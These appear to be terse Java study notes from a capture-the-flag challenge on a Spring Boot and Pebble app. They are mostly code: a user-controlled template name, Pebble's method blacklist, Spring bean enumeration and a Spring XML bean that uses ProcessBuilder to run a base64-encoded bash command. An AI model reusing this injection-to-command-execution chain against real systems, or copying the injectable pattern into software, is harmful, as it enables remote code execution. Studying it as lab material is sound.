Java学习笔记Ⅹ

CMD ["java", "-jar", "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8881", "/usr/src/app/spoink-0.0.1-SNAPSHOT-spring-boot.jar"]

@Controller
public class HomeController {
    public HomeController() {
    }

    @RequestMapping({"/"})
    public String getTemplate(@RequestParam("x") Optional<String> template, Model model) {
        return (String)template.orElse("home.pebble");
    }
}

public class BlacklistMethodAccessValidator implements MethodAccessValidator {
    private static final String[] FORBIDDEN_METHODS = new String[]{"getClass", "wait", "notify", "notifyAll"};

    public BlacklistMethodAccessValidator() {
    }

    public boolean isMethodAccessAllowed(Object object, Method method) {
        boolean methodForbidden = object instanceof Class || object instanceof Runtime || object instanceof Thread || object instanceof ThreadGroup || object instanceof System || object instanceof AccessibleObject || this.isUnsafeMethod(method);
        return !methodForbidden;
    }

    private boolean isUnsafeMethod(Method member) {
        return this.isAnyOfMethods(member, FORBIDDEN_METHODS);
    }

    private boolean isAnyOfMethods(Method member, String... methods) {
        String[] var3 = methods;
        int var4 = methods.length;

        for(int var5 = 0; var5 < var4; ++var5) {
            String method = var3[var5];
            if (this.isMethodWithName(member, method)) {
                return true;
            }
        }

        return false;
    }

    private boolean isMethodWithName(Method member, String method) {
        return member.getName().equals(method);
    }
}

@RequestMapping({"/"})
public String getTemplate(@RequestParam("x") Optional<String> template, Model model){
	ServletContext sss = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest().getSession().getServletContext();
	org.springframework.web.context.WebApplicationContext context = org.springframework.web.context.support.WebApplicationContextUtils.getWebApplicationContect(sss);
	String[] beanDefinitionNaems = context.getBeanDefinitionNames();
	for(String o: beanDefinitionNames){
		System.out.println(o.toString());
	}
	return (String)template.orElse("home.pebble");
}

this.applicationContext.getBean("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory")

public static Object instantiate(ClassLoader cls, String beanName,
                                 BeanContext beanContext,
                                 AppletInitializer initializer)
        throws IOException, ClassNotFoundException {
    InputStream ins;
    ObjectInputStream oins = null;
    Object result = null;
    boolean serialized = false;
    IOException serex = null;
    // If the given classloader is null, we check if an
    // system classloader is available and (if so)
    // use that instead.
    // Note that calls on the system class loader will
    // look in the bootstrap class loader first.
    if (cls == null) {
        try {
            cls = ClassLoader.getSystemClassLoader();
        } catch (SecurityException ex) {
            // We're not allowed to access the system class loader.
            // Drop through.
        }
    }
    // Try to find a serialized object with this name
    final String serName = beanName.replace('.','/').concat(".ser");
    if (cls == null)
        ins =  ClassLoader.getSystemResourceAsStream(serName);
    else
        ins =  cls.getResourceAsStream(serName);
    if (ins != null) {
        try {
            if (cls == null) {
                oins = new ObjectInputStream(ins);
            } else {
                oins = new ObjectInputStreamWithLoader(ins, cls);
            }
            result = oins.readObject();
            serialized = true;
            oins.close();
        } catch (IOException ex) {
            ins.close();
            // Drop through and try opening the class.  But remember
            // the exception in case we can't find the class either.
            serex = ex;
        } catch (ClassNotFoundException ex) {
            ins.close();
            throw ex;
        }
    }
    if (result == null) {
        // No serialized object, try just instantiating the class
        Class<?> cl;
        try {
            cl = ClassFinder.findClass(beanName, cls);
        } catch (ClassNotFoundException ex) {
            // There is no appropriate class.  If we earlier tried to
            // deserialize an object and got an IO exception, throw that,
            // otherwise rethrow the ClassNotFoundException.
            if (serex != null) {
                throw serex;
            }
            throw ex;
        }
        if (!Modifier.isPublic(cl.getModifiers())) {
            throw new ClassNotFoundException("" + cl + " : no public access");
        }
        /*
         * Try to instantiate the class.
         */
        try {
            result = cl.newInstance();
        } catch (Exception ex) {
            // We have to remap the exception to one in our signature.
            // But we pass extra information in the detail message.
            throw new ClassNotFoundException("" + cl + " : " + ex, ex);
        }
    }
    if (result != null) {
        // Ok, if the result is an applet initialize it.
        AppletStub stub = null;
        if (result instanceof Applet) {
            Applet  applet      = (Applet) result;
            boolean needDummies = initializer == null;
            if (needDummies) {
                // Figure our the codebase and docbase URLs.  We do this
                // by locating the URL for a known resource, and then
                // massaging the URL.
                // First find the "resource name" corresponding to the bean
                // itself.  So a serialzied bean "a.b.c" would imply a
                // resource name of "a/b/c.ser" and a classname of "x.y"
                // would imply a resource name of "x/y.class".
                final String resourceName;
                if (serialized) {
                    // Serialized bean
                    resourceName = beanName.replace('.','/').concat(".ser");
                } else {
                    // Regular class
                    resourceName = beanName.replace('.','/').concat(".class");
                }
                URL objectUrl = null;
                URL codeBase  = null;
                URL docBase   = null;
                // Now get the URL correponding to the resource name.
                if (cls == null) {
                    objectUrl = ClassLoader.getSystemResource(resourceName);
                } else
                    objectUrl = cls.getResource(resourceName);
                // If we found a URL, we try to locate the docbase by taking
                // of the final path name component, and the code base by taking
                // of the complete resourceName.
                // So if we had a resourceName of "a/b/c.class" and we got an
                // objectURL of "file://bert/classes/a/b/c.class" then we would
                // want to set the codebase to "file://bert/classes/" and the
                // docbase to "file://bert/classes/a/b/"
                if (objectUrl != null) {
                    String s = objectUrl.toExternalForm();
                    if (s.endsWith(resourceName)) {
                        int ix   = s.length() - resourceName.length();
                        codeBase = new URL(s.substring(0,ix));
                        docBase  = codeBase;
                        ix = s.lastIndexOf('/');
                        if (ix >= 0) {
                            docBase = new URL(s.substring(0,ix+1));
                        }
                    }
                }
                // Setup a default context and stub.
                BeansAppletContext context = new BeansAppletContext(applet);
                stub = (AppletStub)new BeansAppletStub(applet, context, codeBase, docBase);
                applet.setStub(stub);
            } else {
                initializer.initialize(applet, beanContext);
            }
            // now, if there is a BeanContext, add the bean, if applicable.
            if (beanContext != null) {
                unsafeBeanContextAdd(beanContext, result);
            }
            // If it was deserialized then it was already init-ed.
            // Otherwise we need to initialize it.
            if (!serialized) {
                // We need to set a reasonable initial size, as many
                // applets are unhappy if they are started without
                // having been explicitly sized.
                applet.setSize(100,100);
                applet.init();
            }
            if (needDummies) {
              ((BeansAppletStub)stub).active = true;
            } else initializer.activate(applet);
        } else if (beanContext != null) unsafeBeanContextAdd(beanContext, result);
    }
    return result;
}

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>echo Li9nZXRmbGFnID4gL3RtcC9mbGFn|base64 -d|bash -i</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>